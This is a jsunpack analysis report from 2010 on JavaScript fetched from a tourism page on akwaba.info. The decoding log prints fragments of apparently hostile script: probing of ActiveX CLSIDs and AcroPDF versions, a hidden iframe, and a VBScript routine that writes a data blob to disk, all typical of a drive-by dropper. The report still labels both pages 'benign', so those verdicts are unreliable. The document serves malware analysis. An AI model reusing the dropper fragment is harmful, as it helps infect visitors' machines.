JSUNPACK
A Generic JavaScript Unpacker
CAUTION: jsunpack was designed for security researchers and computer professionals
Enter a single URL (or paste JavaScript to decode):

Upload a PDF, pcap, HTML, or JavaScript file
Private? Help: privacy | uploads
Description

Submission permanent link ac4007fcfdf8987fb701bae67ed30618ad5f2aea (Received 2010-07-20 12:25:34, http://akwaba.info/tourisme/recherche_web.php )

URLStatus
akwaba.info/tourisme/recherche_web.php saved 51512 bytes fetch_244aabe3d78675d87839d55384ba9d1a612252db

All Malicious or Suspicious Elements of Submission

None
akwaba.info/tourisme/recherche_web.php?s=pRtNgJHSX&id= benign
[nothing detected] (iframe) akwaba.info/tourisme/recherche_web.php?s=pRtNgJHSX&id=
     status: (referer=akwaba.info/tourisme/recherche_web.php)saved 51917 bytes fetch_42ceabefe70fb70d01dcd3b1afe14cee999cfd3a
     info: [decodingLevel=0] found JavaScript
     error: undefined function orSG.GetVersions
     error: undefined variable orSG
     info: DecodedGenericCLSID detected 639F725F-1B2D-4831-A9FD-874847682010 527196a4-b1a3-4647-931d-37ba5af23037 AB9BCEDD-EC7E-47E1-9322-D4A210617116 6e32070a-766d-4ee6-879c-dc1fa91d2fc3 BA018599-1DB3-44f9-83B4-461454C84BF8 6414512B-B978-451D-A0D8-FCFDF33E833C D0C07D56-7C69-43F1-B4A0-25F5A11FAB19 7F5B7F63-F06F-4331-8A26-339E03C0AE3D E8CCCDDF-CA28-496b-B050-6C07C962476B 06723E09-F4C2-43c8-8358-09FCD1DB0766
     info: DecodedMsg detected //info.ActiveXObject AcroPDF.PDF
     info: DecodedIframe detected
     info: [iframe] akwaba.info/tourisme/recherche_web.php?s=pRtNgJHSX&id=
     info: [decodingLevel=1] found JavaScript
     error: line:3: SyntaxError: missing ; before statement:
          error: line:3: ;Sub s1(e,fn,dt):On Error Resume Next:s1=0:"+'Set k=e.CreateTextFile(fn,TRUE):if Err>0 then:Exit Function:End if:'+'b="":For j=1 To LenB(dt):b=b&ChrW(Asc(Mid(dt,j,1))):Next:k.Write(b):k.Close:'+"if Err>0 then:Exit Function:End if:s1=1:End Sub<\/script>");
          error: line:3: .^
     file: fetch_42ceabefe70fb70d01dcd3b1afe14cee999cfd3a: 51917 bytes
     file: decoding_c050a4d67198e4a2c5b355bfef325d49f31765f5: 6435 bytes

File information (2 files) Download zip | Explanation
fetch_42ceabefe70fb70d01dcd3b1afe14cee999cfd3a from akwaba.info/tourisme/recherche_web.php?s=pRtNgJHSX&id= (51917 bytes, 8 hidden)

decoding_c050a4d67198e4a2c5b355bfef325d49f31765f5 from akwaba.info/tourisme/recherche_web.php?s=pRtNgJHSX&id= (6435 bytes)


akwaba.info/tourisme/recherche_web.php benign
[nothing detected] akwaba.info/tourisme/recherche_web.php
     status: (referer=www.google.com/trends/hottrends)saved 51512 bytes fetch_244aabe3d78675d87839d55384ba9d1a612252db
     info: [decodingLevel=0] found JavaScript
     error: undefined function Je0.GetVersions
     error: undefined variable Je0
     info: DecodedGenericCLSID detected 639F725F-1B2D-4831-A9FD-874847682010 527196a4-b1a3-4647-931d-37ba5af23037 AB9BCEDD-EC7E-47E1-9322-D4A210617116 6e32070a-766d-4ee6-879c-dc1fa91d2fc3 BA018599-1DB3-44f9-83B4-461454C84BF8 6414512B-B978-451D-A0D8-FCFDF33E833C D0C07D56-7C69-43F1-B4A0-25F5A11FAB19 7F5B7F63-F06F-4331-8A26-339E03C0AE3D E8CCCDDF-CA28-496b-B050-6C07C962476B 06723E09-F4C2-43c8-8358-09FCD1DB0766
     info: DecodedMsg detected //info.ActiveXObject AcroPDF.PDF
     info: DecodedIframe detected
     info: [iframe] akwaba.info/tourisme/recherche_web.php?s=pRtNgJHSX&id=
     info: [decodingLevel=1] found JavaScript
     error: line:3: SyntaxError: missing ; before statement:
          error: line:3: ;Sub s1(e,fn,dt):On Error Resume Next:s1=0:"+'Set k=e.CreateTextFile(fn,TRUE):if Err>0 then:Exit Function:End if:'+'b="":For j=1 To LenB(dt):b=b&ChrW(Asc(Mid(dt,j,1))):Next:k.Write(b):k.Close:'+"if Err>0 then:Exit Function:End if:s1=1:End Sub<\/script>");
          error: line:3: .^
     file: fetch_244aabe3d78675d87839d55384ba9d1a612252db: 51512 bytes
     file: decoding_80ee497b18710792c7ac297a12d830c2e45b90f4: 6429 bytes

File information (2 files) Download zip | Explanation
fetch_244aabe3d78675d87839d55384ba9d1a612252db from akwaba.info/tourisme/recherche_web.php (51512 bytes, 8 hidden)

decoding_80ee497b18710792c7ac297a12d830c2e45b90f4 from akwaba.info/tourisme/recherche_web.php (6429 bytes)